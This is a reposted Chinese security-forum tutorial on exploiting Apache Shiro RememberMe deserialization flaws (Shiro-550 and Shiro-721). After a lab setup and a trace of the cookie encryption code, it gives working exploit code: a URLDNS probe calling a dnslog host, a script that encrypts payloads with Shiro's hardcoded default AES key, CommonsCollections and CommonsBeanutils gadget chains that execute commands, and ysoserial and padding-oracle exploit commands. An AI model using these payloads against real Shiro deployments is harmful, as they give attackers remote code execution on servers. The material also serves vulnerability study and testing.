安全矩阵

 找回密码
 立即注册
搜索
查看: 2493|回复: 0

shiro从0到1

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-3-19 01:47:40 | 显示全部楼层 |阅读模式
原文链接:shiro从0到1 (qq.com)



环境搭建
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

配置pom.xml
  1. <dependencies>
  2.     <dependency>
  3.         <groupId>javax.servlet</groupId>
  4.         <artifactId>jstl</artifactId>
  5.         <scope>runtime</scope>
  6.     </dependency>
  7.     <dependency>
  8.         <groupId>javax.servlet</groupId>
  9.         <artifactId>servlet-api</artifactId>
  10.         <scope>provided</scope>
  11.     </dependency>
  12.     <dependency>
  13.         <groupId>org.slf4j</groupId>
  14.         <artifactId>slf4j-log4j12</artifactId>
  15.         <scope>runtime</scope>
  16.     </dependency>
  17.     <dependency>
  18.         <groupId>log4j</groupId>
  19.         <artifactId>log4j</artifactId>
  20.         <scope>runtime</scope>
  21.     </dependency>
  22.     <dependency>
  23.         <groupId>net.sourceforge.htmlunit</groupId>
  24.         <artifactId>htmlunit</artifactId>
  25.         <version>2.6</version>
  26.         <scope>test</scope>
  27.     </dependency>
  28.     <dependency>
  29.         <groupId>org.apache.shiro</groupId>
  30.         <artifactId>shiro-core</artifactId>
  31.     </dependency>
  32.     <dependency>
  33.         <groupId>org.apache.shiro</groupId>
  34.         <artifactId>shiro-web</artifactId>
  35.     </dependency>
  36.     <dependency>
  37.         <groupId>org.mortbay.jetty</groupId>
  38.         <artifactId>jetty</artifactId>
  39.         <version>${jetty.version}</version>
  40.         <scope>test</scope>
  41.     </dependency>
  42.     <dependency>
  43.         <groupId>org.mortbay.jetty</groupId>
  44.         <artifactId>jsp-2.1-jetty</artifactId>
  45.         <version>${jetty.version}</version>
  46.         <scope>test</scope>
  47.     </dependency>
  48.     <dependency>
  49.         <groupId>org.slf4j</groupId>
  50.         <artifactId>jcl-over-slf4j</artifactId>
  51.         <scope>runtime</scope>
  52.     </dependency>
  53.     <dependency>
  54.         <groupId>jstl</groupId>
  55.         <artifactId>jstl</artifactId>
  56.         <version>1.2</version>
  57.     </dependency>
  58. </dependencies>
复制代码


可能出现的问题
无法解析插件 org.apache.maven.plugins:maven-clean-plugin:2.5
主要原理是因为maven默认用的是外网,会导致有些插件无法下载成功
解决方式:
将maven设置为国内镜像
修改maven3中的settings.xml文件
路径:xxxx\InteLiJ\plugins\maven\lib\maven3\conf
将标签的内容替换为
  1. <mirror>
  2. <id>mirrorId</id>
  3. <mirrorOf>central</mirrorOf>
  4. <name>Human Readable Name </name>
  5. <url>http://repo1.maven.org/maven2/</url>
  6. </mirror>


  7. <!-- 阿里云镜像 -->
  8. <mirror>
  9. <id>alimaven</id>
  10. <name>aliyun maven</name>
  11. <url>http://central.maven.org/maven2</url>
  12. <mirrorOf>central</mirrorOf>
  13. </mirror>


  14. <!-- 阿里云镜像 -->
  15. <mirror>
  16. <id>alimaven</id>
  17. <name>aliyun maven</name>
  18. <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
  19. <mirrorOf>central</mirrorOf>
  20. </mirror>


  21. <!-- junit镜像地址 -->
  22. <mirror>
  23. <id>junit</id>
  24. <name>junit Address/</name>
  25. <url>http://jcenter.bintray.com/</url>
  26. <mirrorOf>central</mirrorOf>
  27. </mirror>
复制代码
然后重启maven即可
只需要将压缩包中的web目录解压,然后作为网站根目录即可
漏洞分析
加密过程



在ildea里点击两下Shift,搜索rememberMeSuccessfulLogin









对用户名就行序列化操作

跟进serialize

继续跟进 跟进serialize,这里就是真实的序列化操作

执行完serialize函数加入encrypt

可以看到有一个cipherService.encrypt函数,它其实是将序列化的内容进行aes加密,而getEncryptionCipherKey函数是获取密钥的函数

跟进getEncryptionCipherKey函数,发现返回的是encryptionCioherKey这个属性

getEncryptionCipherKey为AbstractRememberMeManager类中的方法,因此我们自己看构造方法
这里定义了一个常量DEFAULT_CIPHER_KEY_BYTES





跟进到这里会发现setEncryptionCipherKey方法其实就是将DEFAULT_CIPHER_KEY_BYTES赋值给了encryptionCipherKey,在这里就获得了密钥

进入rememberSerializedIdentity方法,这个方法的作用其实就是添加cookie



加密过程就结束了
解密过程搜索getRememberedIdentity





获取http的Request和Response

获取Cookie内容

这里就是解密过程
















​在这里调用了反序列化

由于原生的shrio是无法利用cc链的,因此我们在这里直接利用URLDNS这条链


URLDNS
  1. import java.io.*;
  2. import java.lang.reflect.Field;
  3. import java.net.URL;
  4. import java.util.HashMap;

  5. public class urldns {
  6.     public static void main(String[] args) throws Exception {

  7.         HashMap<URL, String> hashMap = new HashMap<URL, String>();
  8.         URL url = new URL("http://rmu2na.dnslog.cn");

  9.         Field f = URL.class.getDeclaredField("hashCode");
  10.         f.setAccessible(true);

  11.         // 这步是防止写入时触发dns查询,详见下文序列化条件总结
  12.         f.set(url, 1);
  13.         hashMap.put(url, "foo");

  14.         f.set(url, -1);
  15.         
  16.         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
  17.         oos.writeObject(hashMap);

  18.         ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));
  19.         ois.readObject();
  20.         
  21.     }
  22. }
复制代码
由于反序列化的内容是二进制文件,因此需要利用脚本进行加密操作
  1. import sys
  2. import uuid
  3. import base64
  4. import subprocess
  5. from Crypto.Cipher import AES


  6. def get_file(name):
  7.     with open(name,'rb') as f:
  8.         data = f.read()
  9.     return data

  10. def en_aes(data):
  11.     BS = AES.block_size
  12.     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  13.     key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
  14.     iv = uuid.uuid4().bytes
  15.     encryptor = AES.new(key, AES.MODE_CBC, iv)
  16.     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
  17.     return base64_ciphertext


  18. if __name__ == '__main__':
  19.     data = get_file("test.out")
  20.     print(en_aes(data))
复制代码
这里需要将Cookie中的JSESSIONID=xxx;删除掉才会触发服务器重新读取Cookie








由于Shrio对resolveClass进行了修改,导致数组类无法加载,因此原生的cc链是无法直接使用的
有cc依赖

  1. package com.naihe;

  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import javassist.CannotCompileException;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import javassist.NotFoundException;
  7. import org.apache.commons.collections.functors.ConstantTransformer;
  8. import org.apache.commons.collections.functors.InvokerTransformer;
  9. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  10. import org.apache.commons.collections.map.LazyMap;

  11. import java.io.*;
  12. import java.lang.reflect.Field;

  13. import java.util.HashMap;
  14. import java.util.Map;


  15. public class cc {
  16.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException {
  17.         //通过字节码构建恶意类
  18.         ClassPool classPool= ClassPool.getDefault();
  19.         String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  20.         classPool.appendClassPath(AbstractTranslet);
  21.         CtClass payload=classPool.makeClass("CommonsCollections3");
  22.         payload.setSuperclass(classPool.get(AbstractTranslet));
  23.         payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
  24.         byte[] bytes=payload.toBytecode();

  25.         //CC3
  26.         TemplatesImpl templates = new TemplatesImpl();
  27.         Class<? extends TemplatesImpl> aClass = templates.getClass();
  28.         Field nameField = aClass.getDeclaredField("_name");
  29.         nameField.setAccessible(true);
  30.         nameField.set(templates,"aaaa");
  31.         Field bytecodesField = aClass.getDeclaredField("_bytecodes");
  32.         bytecodesField.setAccessible(true);


  33.         bytecodesField.set(templates,new byte[][]{bytes});


  34.         //CC2
  35.         InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);


  36.         //CC6
  37.         HashMap<Object, Object> map = new HashMap<>();
  38.         Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));


  39.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);


  40.         HashMap<Object, Object> map2 = new HashMap<>();
  41.         map2.put(tiedMapEntry,"bbb");
  42.         lazyMap.remove(templates);


  43.         Class<LazyMap> c = LazyMap.class;
  44.         Field factoryField = c.getDeclaredField("factory");
  45.         factoryField.setAccessible(true);
  46.         factoryField.set(lazyMap,invokerTransformer);
  47.         serialize(map2);

  48.     }
  49.     public static void serialize(Object obj) throws IOException, ClassNotFoundException {
  50.         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  51.         objectOutputStream.writeObject(obj);
  52.         objectOutputStream.close();
  53.         unserialize("test.out");
  54.     }


  55.     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  56.         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
  57.         Object object = objectInputStream.readObject();
  58.         return object;
  59.     }
  60. }
复制代码

无cc依赖
  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import org.apache.commons.beanutils.BeanComparator;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.util.PriorityQueue;

  9. public class CB1 {
  10.     // 修改值的方法,简化代码
  11.     public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
  12.         Field field = object.getClass().getDeclaredField(fieldName);
  13.         field.setAccessible(true);
  14.         field.set(object, value);
  15.     }

  16.     public static void main(String[] args) throws Exception {
  17.         // 创建恶意类,用于报错抛出调用链
  18.         ClassPool pool = ClassPool.getDefault();
  19.         CtClass payload = pool.makeClass("EvilClass");
  20.         payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
  21.         payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
  22.         payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");
  23.         byte[] evilClass = payload.toBytecode();

  24.         TemplatesImpl templates = new TemplatesImpl();
  25.         setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
  26.         setFieldValue(templates, "_name", "test");
  27.         setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

  28.         BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
  29.         PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
  30.         queue.add("1");
  31.         queue.add("1");

  32.         setFieldValue(beanComparator, "property", "outputProperties");
  33.         setFieldValue(queue, "queue", new Object[]{templates, templates});

  34.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("test.out"));
  35.         out.writeObject(queue);
  36.         ObjectInputStream in = new ObjectInputStream(new FileInputStream("test.out"));
  37.         in.readObject();

  38.     }
  39. }
复制代码


shiro721
漏洞原理
Apapche Shiro RememberMe Cookie 默认通过 AES-128-CBC 模式加密 , 这种加密模式容易受到 Padding Oracle Attack( Oracle 填充攻击 ) , 攻击者可以使用有效的 RememberMe Cookie 作为 Paddding Oracle Attack 的前缀 , 然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击. 复现步骤:
1. 登录网站并且获取 RememberMe Cookie 值
2. 使用 RememberMe Cookie 值来作为 Padding Oracle Attack 的前缀
3. 通过 Padding Oracle Attack 的攻击方式精心构造可利用的 YSoSerial 反序列化数据
4. 将构造好的反序列化数据填充到 RememberMe Cookie 字段中并发送 , 即可在目标服务器上执行任意代码
需要通过爆破获取密钥,才能生成正确的rememberme cookie
  1. 用java  -jar ysoserial-master-6eca5bc740-1.jar CommonsBeanutils1 "ping gj9qn9.dnslog.cn" > payload.class

  2. python shiro_exp.py   http://127.0.0.1:8080/samples-web-1.4.1/account/   7y9G8wmu+3c94D0kaxohut34n3ldwNnWxmrT9DQDEiSrQ7agYNnci1mh+IYQLmL8cehaMPcnBDclNaEN6eZrPvsEX7eApt5SJEZkmow+ZPsEsnh4wrnHoe7p8RjGVu6P/onx7nrFzZln9d4RC1N8vxEVPUlYZXU7xsMRs35Q8ziFH1EJ1jl/5eiDTn7Wx3yLbHCPyg6v+Qu5ADD+AMbvdHzlLOwY8Pfm5uqEKp36jIwsZjDcQJRhwyUjhAuRyqSUEFKzAq95XUYRaBKKsoxQwN6gD4z7G6lAIBY880CP0QIMhImmbHVfJti/rrnJ/RsxJtoeIH8TujlsEvcCGbJ3Od2XDbhilQUT57XralFArZB7tVCQE9/Vdce96jzR1TjD2rsPbg77eEUXOWbwkYBkJxFBex+p/YrLeJnxm9IvDijGHH2pZp9kCkej7uc8qPm+rH+V3xE0ChIxZXF5l9ScPsvHLJD+gAhgszg75pQnLiS5SOPG73GCj2gFFzzsKnCB  payload.class
复制代码




检测工具
工具:https://github.com/feihong-cs/Sh ... iroExploit.V2.51.7z
获取方式:公众号后台回复关键词:shiro


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 14:56 , Processed in 0.016491 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表